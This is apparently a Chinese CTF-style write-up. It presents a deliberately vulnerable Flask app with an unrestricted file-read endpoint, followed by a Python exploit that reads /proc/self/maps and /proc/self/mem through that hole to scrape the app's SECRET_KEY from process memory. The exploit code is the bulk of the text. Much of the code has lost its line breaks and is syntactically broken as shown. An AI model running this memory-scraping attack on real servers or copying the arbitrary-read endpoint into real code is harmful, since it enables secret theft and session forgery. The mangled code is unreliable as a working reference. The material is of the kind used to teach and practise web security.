局限性:查找的密鑰具有特征碼
一、Flask環境源碼
1.Flask主文件main.py
import os
import uuid
from flask import Flask, request, session, render_template
from cat import catflag = ""
app = Flask(__name__,static_url_path='/',static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"ck = "2132131passwdwdwdw"
@app.route('/info', methods=["GET", 'POST'])
def info():filename = request.args.get('file', "")start = request.args.get('start', "0")end = request.args.get('end', "0")return cat(filename, start, end)@app.route('/admin', methods=["GET"])
def admin_can_list_root():if session.get('admin') == 1:return flagelse:session['admin'] = 0return "NoNoNo"if __name__ == '__main__':app.run(host='0.0.0.0', debug=False, port=80)
2.依賴文件cat.py
import os, sys, getoptdef cat(filename, start=0, end=0) -> bytes:data = b''try:start = int(start)end = int(end)except:start = 0end = 0if filename != "" and os.access(filename, os.R_OK):f = open(filename, "rb")if start >= 0:f.seek(start)if end >= start and end != 0:data = f.read(end - start)else:data = f.read()else:data = f.read()f.close()else:data = ("File `%s` not exist or can not be read" % filename).encode()return data
二、內存讀取密碼腳本
import requests
import re
url = "http://192.168.31.165/"
# Flask預設了任意文件訪問漏洞
map_list = requests.get(url + f"info?file=/proc/self/maps")
map_list = map_list.text.split("\n")
# map_list內容舉例(/proc/self/maps)
# 7f463445e000-7f463445f000 r--p 00000000 08:05 4195590 /usr/lib/x86_64-linux-gnu/libnss_dns-2.31.so
# 7f463445f000-7f4634463000 r-xp 00001000 08:05 4195590 /usr/lib/x86_64-linux-gnu/libnss_dns-2.31.so
# 7f4634463000-7f4634464000 r--p 00005000 08:05 4195590 /usr/lib/x86_64-linux-gnu/libnss_dns-2.31.so
# 7f4634464000-7f4634465000 r--p 00005000 08:05 4195590 /usr/lib/x86_64-linux-gnu/libnss_dns-2.31.so
# 7f4634465000-7f4634466000 rw-p 00006000 08:05 4195590 /usr/lib/x86_64-linux-gnu/libnss_dns-2.31.so
print(len(map_list))
start = 0
end = 0
# 下面主要的思路是去進行暴力循環,然后再進行正則匹配(因為Flask具有特征其包含abcdefgh)
for i in map_list:# 這塊內存區域需要具備可寫入權限(r--表示可讀不可寫不可操作,rw-表示可讀可寫不可操作)# 因為這塊區域是分配給我們程序的所有應該具備可寫權限map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)if map_addr:start = int(map_addr.group(1), 16)end = int(map_addr.group(2), 16)# 匹配到該內存段的起始和結束地址# 獲取該信息是我們讀取/proc/self/maps的主要目的print("Found rw addr:", start, "-", end)# 讀取內存空間,并進行正則字段匹配response = requests.get(url + f"info?file=/proc/self/mem&start={start}&end={end}")# print(response.text)if "abcdefgh" in response.text:# 正則匹配,本題secret key格式為32個小寫字母或數字,再加上*abcdefghsecret_key = re.findall("[a-z0-9]{32}\*abcdefgh", response.text)if secret_key:print("Secret Key:", secret_key[0])s_key = secret_key[0]break